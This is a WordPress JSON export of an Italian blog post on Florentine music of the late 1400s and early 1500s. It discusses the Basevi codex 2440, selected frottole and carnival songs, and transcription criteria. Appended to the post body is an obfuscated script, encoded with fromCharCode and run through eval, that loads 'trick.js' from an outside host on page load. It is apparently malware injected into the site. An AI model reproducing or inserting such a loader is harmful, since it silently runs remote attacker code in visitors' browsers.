{"id":443,"date":"2013-10-07T00:06:08","date_gmt":"2013-10-07T00:06:08","guid":{"rendered":"http:\/\/www.carloderi.com\/?p=443"},"modified":"2013-10-21T22:20:36","modified_gmt":"2013-10-21T22:20:36","slug":"la-musica-fiorentina-fra-la-fine-del-400-e-linizio-del-500","status":"publish","type":"post","link":"https:\/\/www.carloderi.com\/?p=443","title":{"rendered":"La musica fiorentina fra la fine del \u2019400 e l\u2019inizio del \u2019500"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Francesco-di-Lorenzo-Rosselli-attr..png\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-446 alignleft\" alt=\"Francesco di Lorenzo Rosselli (attr.)\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Francesco-di-Lorenzo-Rosselli-attr..png\" width=\"448\" height=\"385\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Francesco-di-Lorenzo-Rosselli-attr..png 640w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Francesco-di-Lorenzo-Rosselli-attr.-300x257.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Francesco-di-Lorenzo-Rosselli-attr.-624x536.png 624w\" sizes=\"auto, (max-width: 448px) 100vw, 448px\" \/><\/a>Gi\u00e0 prima che i Medici ne diventassero i signori, Firenze era la capitale della cultura europea. Era la citt\u00e0 dalla quale avevano tratto le origini i grandi della letteratura e delle arti. I Medici valorizzarono questa eredit\u00e0 e Firenze continua a detenere per lungo tempo il suo primato.<\/p>\n<p style=\"text-align: justify;\">Fra gli avvenimenti pi\u00f9 degni di nota dobbiamo citare la nascita dell\u2019Accademia Platonica, sotto Cosimo I, che divenne ben presto palestra di speculazione intellettuale. All\u2019interno di essa oper\u00f2 Marsilio Ficino, che in seguito diventer\u00e0 il maestro di Lorenzo il Magnifico.<\/p>\n<p style=\"text-align: justify;\">Lorenzo \u00e8 una delle figure di maggior rilievo di tutto il \u2019400. Poeta, oltre che abile uomo politico, si attornia di artisti e di intellettuali come il Poliziano, il Botticelli, Pico della Mirandola. Sotto di lui Firenze gode di un periodo di pace (se si eccettua la crisi succeduta alla congiura dei Pazzi), durante il quale tutto il popolo, grazie soprattutto a una politica di cultura di massa voluta da Lorenzo stesso \u2013 anche contro il parere dei suoi pi\u00f9 stretti collaboratori, primo fra tutti il Poliziano, che vede nella cultura un privilegio di classe \u2013 \u00e8 coinvolto in un clima di fermento intellettuale.<\/p>\n<p style=\"text-align: justify;\">L\u2019Accademia Platonica e il palazzo dei Medici sono i due centri nei quali si accendono le dispute filosofiche e teologiche che di qui si propagano sia nei salotti eleganti sia nelle strade di una Firenze che, non avendo pi\u00f9 apparenti problemi politici su cui discutere, si impegna su dispute spesso fini a se stesse.<\/p>\n<p style=\"text-align: justify;\">In effetti a questa politica culturale non corrisponde una crescita intellettuale vera e propria, per lo meno a livello popolare: spesso tutto questo fermento di dispute si risolve in un puro gioco intellettuale, in un passatempo mondano. E\u2019 comunque innegabile che questo ideale rimanga un fatto positivo e certamante nuovo nella storia moderna, ed \u00e8 forse il maggior merito di Lorenzo come statista.<\/p>\n<p style=\"text-align: justify;\">Per quanto riguarda il fenomeno musicale di questo periodo si osserva che \u00e8 dominato dalla polifonia fiamminga.<\/p>\n<p style=\"text-align: justify;\">\u201cLa tradizione fiamminga doveva [&#8230;] avere la sua continuazione nel gruppo dei musicisti fiorentini gi\u00e0 patrocinati da Lorenzo de\u2019 Medici e attivi poi nel periodo successivo alla sua morte: Alessandro Coppini, Bartolomeo Fiorentino, Giovanni Serragli e ancora Francesco Layolle e Bernardo Pisano rimasero legati alla tradizione plurivocalistica fiorentina che aveva i suoi precedenti in Agricola e un padre in Isaac, al punto da rappresentare l\u2019unica contrapposizione alla dilagante estetica frottolistica. Il loro contributo alla <i>vocalizzazione<\/i> della musica italiana fu fondamentale e, attraverso le canzoni a ballo, le ballate e i canti carnascialeschi giunger\u00e0, pressoch\u00e9 incontaminata dalla maniera frottolistica, al madrigale.\u201d<a title=\"\" href=\"#_ftn1\">[1]<\/a><\/p>\n<p style=\"text-align: justify;\">L\u2019unico carattere, per\u00f2, tipicamente fiorentino \u00e8 dato dal canto carnascialesco, di cui lo stesso Lorenzo il Magnifico fu appassionato cultore. Lo schema poetico \u00e8 generalmente quello della ballata. Creato per essere utilizzato durante le feste di carnevale, specialmente per accompagnare i carri mascherati, doveva con ogni probabilit\u00e0 essere monodico. Neanche una versione originale di questi canti \u00e8 sopravvissuta al periodo Savonaroliano. Le fonti che abbiamo sono tutte databili non prima dell\u2019inizio del Cinquecento e sono interpretazioni \u201cdotte\u201d, a tre o a quattro voci, dei musicisti di scuola fiamminga sopra citati.<\/p>\n<p style=\"text-align: justify;\">Tra le fonti che ci permettono di conoscere la musica fiorentina degli anni a cavallo fra il XV e il XVI secolo abbiamo preso in esame il Codice Basevi Ms. 2440 della Biblioteca del Conservatorio \u201cLuigi Cherubini\u201d di Firenze.<\/p>\n<p style=\"text-align: justify;\">Questo codice, pergamenaceo, \u00e8 di propriet\u00e0 della Biblioteca del Conservatorio dal 1885, come parte della donazione del prof. Abramo Basevi.<\/p>\n<p style=\"text-align: justify;\">Il libro contiene, nelle sue 200 pagine, 55 composizioni in gran parte anonime (solo 15 recano il nome dell\u2019autore).<\/p>\n<p style=\"text-align: justify;\">La notazione \u00e8 quella mensurale bianca e la scrittura la corsiva umanistica; ambedue testimoniano il lavoro di pi\u00f9 amanuensi.<\/p>\n<p style=\"text-align: justify;\">A volte il testo letterario \u00e8 indicato in modo sommario (talvolta \u00e8 presente solo nella parte del cantus), con poca precisione per quanto riguarda il rapporto con la musica, e non di rado \u00e8 leggibile con molta difficolt\u00e0. Questo in parte \u00e8 imputabile anche allo stato di conservazione del codice, che presenta notevoli danni a causa soprattutto dell\u2019umidit\u00e0 che in alcuni punti impedisce del tutto la lettura (dal fac-simile di alcune pagine, pubblicato sulla R.M.I. nel 1911 si ricava che il danno \u00e8 precedente a quella data, ma \u00e8 certamente molto anteriore) .<\/p>\n<p style=\"text-align: justify;\">Fra le 55 composizioni racchiuse in questo volume troviamo frottole, villotte e canti carnascialeschi, il prodotto, questi ultimi, pi\u00f9 tipico della cultura fiorentina dall\u2019epoca laurenziana fino ai primi decenni del \u2019500.<\/p>\n<p style=\"text-align: justify;\">Fra i compositori i cui nomi figurano su queste pagine ricordiamo Bartolomeo degli Organi, Bernardo Pisano, Francesco Layolle, Michele Pesenti, insieme a due illustri fiamminghi, Heinrich Isaac e Alexander Agricola, \u201c[\u2026] strenui campioni della scuola dell\u2019 Ockeghem.\u201d<a title=\"\" href=\"#_ftn2\">[2]<\/a><\/p>\n<p style=\"text-align: justify;\">Per quanto riguarda la datazione, questa si deve ascrivere non gi\u00e0 alla fine del \u2019400, come si \u00e8 per molto tempo ritenuto (Torrefranca), ma piuttosto almeno al secondo decennio del 1500. La prova \u00e8 la presenza di composizioni di Bernardo Pisano (nato nel 1490) e di Francesco de Layolle (nato nel 1491) .<\/p>\n<p style=\"text-align: justify;\">Questo codice \u00e8 molto importante perch\u00e9 ha permesso di portare l\u2019attenzione degli studiosi sul gruppo di musicisti fiorentini, praticamente dimenticati, che per\u00f2 furono giudicati dai contemporanei degni di stare accanto ai due sopracitati fiamminghi, in \u201cuna raccolta che per il lusso della legatura si arguisce destinata al repertorio per canto delle riunioni eleganti dell\u2019epoca.\u201d<a title=\"\" href=\"#_ftn3\">[3]<\/a><\/p>\n<p style=\"text-align: justify;\">I brani da noi scelti per una pi\u00f9 accurata analisi sono i seguenti:<\/p>\n<p style=\"text-align: justify;\">1) \u201c<span style=\"color: #464646;\"><a href=\"https:\/\/www.carloderi.com\/?p=470\"><span style=\"color: #464646;\">Amor che sospirar mi fai<\/span><\/a><\/span>\u201d di Alexander Agricola, frottola a tre voci.<\/p>\n<p style=\"text-align: justify;\">2) \u201c<span style=\"color: #464646;\"><a href=\"https:\/\/www.carloderi.com\/?p=493\"><span style=\"color: #464646;\">Noi sian, donne<\/span><\/a><\/span>\u201d (canto de\u2019 Cardoni), canto carnascialesco a tre voci di anonimo.<\/p>\n<p style=\"text-align: justify;\">3) \u201c<span style=\"color: #464646;\"><a href=\"https:\/\/www.carloderi.com\/?p=497\"><span style=\"color: #464646;\">Cantiano, hors\u00f9 cantiano<\/span><\/a><\/span>\u201d, frottola a quattro voci di anonimo.<\/p>\n<p style=\"text-align: justify;\">4) \u201c<span style=\"color: #464646;\"><a href=\"https:\/\/www.carloderi.com\/?p=507\"><span style=\"color: #464646;\">L\u2019ultimo d\u00ec di maggio<\/span><\/a><\/span>\u201d, villotta a quattro voci di anonimo.<\/p>\n<p style=\"text-align: justify;\">[N.B.:per l\u2019analisi e la trascrizione in notazione moderna si rimanda ai singoli post presenti su questo sito nella categoria \u201cStudi e analisi\u201d]<\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Criteri impiegati nella trascrizione.<\/span><\/p>\n<p style=\"text-align: justify;\">Per quanto riguarda il testo letterario ci siamo attenuti il pi\u00f9 possibile all\u2019osservanza rigorosa della grafia originale (es: <i>cantiano<\/i> al posto di <i>cantiamo<\/i>), compreso il carattere maiuscolo o minuscolo delle parole.<\/p>\n<p style=\"text-align: justify;\">I nostri interventi riguardano:<\/p>\n<p style=\"text-align: justify;\">a) la divisione di due parole qualora si presentassero unite (es.: <i>lanotte<\/i> \u2192 <i>la notte<\/i>);<\/p>\n<p style=\"text-align: justify;\">b) l\u2019aggiunta della punteggiatura;<\/p>\n<p style=\"text-align: justify;\">c) l\u2019aggiunta di sillabe dove si presentava una deficienza ritmica e concettuale: in tal caso abbiamo indicato la nostra aggiunta fra parentesi quadra (es.: genti[li]).<\/p>\n<p style=\"text-align: justify;\">Per quanto riguarda il testo musicale abbiamo cos\u00ec operato :<\/p>\n<p style=\"text-align: justify;\">a) ritmica:<\/p>\n<p style=\"text-align: justify;\">1) Il\u00a0<a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-a.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-454\" alt=\"Immagini per musica fiorentina a\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-a.png\" width=\"8\" height=\"23\" \/><\/a> \u00e8 stato reso con il moderno <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-a2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-455\" alt=\"Immagini per musica fiorentina a2\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-a2.png\" width=\"10\" height=\"17\" \/><\/a>;<\/p>\n<p style=\"text-align: justify;\">2) I valori sono stati tutti dimezzati <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-b.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-456\" alt=\"Immagini per musica fiorentina b\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-b.png\" width=\"46\" height=\"18\" \/><\/a>;<\/p>\n<p style=\"text-align: justify;\">b) note:<\/p>\n<p style=\"text-align: justify;\">1) abbiamo aggiunto il\u00a0<a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-c.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-457\" alt=\"Immagini per musica fiorentina c\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-c.png\" width=\"7\" height=\"19\" \/><\/a> o il\u00a0 <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-d.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-458\" alt=\"Immagini per musica fiorentina d\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-d.png\" width=\"6\" height=\"17\" \/><\/a>\u00a0sopra le note dove ci sembrava indispensabile;<\/p>\n<p style=\"text-align: justify;\">2) abbiamo aggiunto, sopra le note, l\u2019indicazione <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-e.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-459\" alt=\"Immagini per musica fiorentina e\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-e.png\" width=\"19\" height=\"19\" \/><\/a> o <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-f.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-460\" alt=\"Immagini per musica fiorentina f\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-f.png\" width=\"17\" height=\"17\" \/><\/a><sub>\u00a0 <\/sub>dove ci\u00f2 non era, a parer nostro, strettamente necessario;<\/p>\n<p style=\"text-align: justify;\">3) talvolta \u00e8 stato necessario ricostruire una parte. Le nostre aggiunte sono fra parentesi quadre;<\/p>\n<p style=\"text-align: justify;\">c) grafia:<\/p>\n<p style=\"text-align: justify;\">1) le chiavi di do<sub>1<\/sub>, do<sub>2<\/sub>, do<sub>3<\/sub>, do<sub>4<\/sub> sono state realizzate in chiave di violino, o violino tenorizzato, o basso;<\/p>\n<p style=\"text-align: justify;\">2) le ligaturae sono indicate con una legatura quadra <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-g.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-461\" alt=\"Immagini per musica fiorentina g\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Immagini-per-musica-fiorentina-g.png\" width=\"40\" height=\"16\" \/><\/a>;<\/p>\n<p style=\"text-align: justify;\">3) per maggior chiarezza abbiamo scritto, all\u2019inizio di ogni composizione, le prime note di ogni voce unitamente alla chiave e all\u2019indicazione di tempo originali.<\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Criteri impiegati per la realizzazione della partitura.<\/span><\/p>\n<p style=\"text-align: justify;\">a) Si \u00e8 reso necessario a volte emendare il testo musicale per evitare successioni erronee (per es. di 2<sup>e<\/sup>). In tal caso il testo originale compare in una nostra nota alla fine di ogni composizione;<\/p>\n<p style=\"text-align: justify;\">b) si \u00e8 mantenuta la ripetizione di parole solo dove queste erano ripetute anche sul manoscritto (solo in un caso si \u00e8 fatta un\u2019aggiunta necessaria: in questo caso si \u00e8 usata la parentesi quadra);<\/p>\n<p style=\"text-align: justify;\">c) la parentesi quadra \u00e8 stata usata inoltre nei punti dove il testo era completamente mancante;<\/p>\n<p style=\"text-align: justify;\">d) abbiamo adottato, nella trascrizione in partitura, l\u2019uso delle stanghette intere, a nostro avviso pi\u00f9 comode per la lettura, senza per questo voler sottintendere un\u2019accentuazione in senso moderno.<\/p>\n<p style=\"text-align: right;\">\u00a0Carlo Deri, 1985<\/p>\n<div><\/div>\n<hr align=\"left\" size=\"1\" width=\"33%\" \/>\n<div style=\"text-align: justify;\">\n<p><a title=\"\" href=\"#_ftnref1\">[1]<\/a> Francesco Luisi, <i>La musica vocale nel Rinascimento<\/i>, ERI \u2013 Edizioni RAI Radiotelevisione italiana, Torino 1977<\/p>\n<\/div>\n<div style=\"text-align: justify;\">\n<p><a title=\"\" href=\"#_ftnref2\">[2]<\/a> Riccardo Gandolfi, <i>Intorno al Codice membranaceo di ballate e di canzoncine di autori diversi, con musica a due, tre, quattro voci, esistente nella biblioteca del R. Istituto Musicale di Firenze, N.2440,<\/i> Rivista Musicale Italiana, vol. XVIII, fasc. 3\u00b0, 1911<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref3\">[3]<\/a> R. Gandolfi, <i>op. cit.<\/i><\/p>\n<p style=\"text-align: justify;\">Questo studio \u00e8 stato effettuato sotto la guida del M\u00b0 Francesco Luisi nel quadro delle attivit\u00e0 relative all&#8217;esame di Estetica della Musica. Firenze, Conservatorio &#8220;Luigi Cherubini&#8221;, 1985<\/p>\n<\/div>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gi\u00e0 prima che i Medici ne diventassero i signori, Firenze era la capitale della cultura europea. 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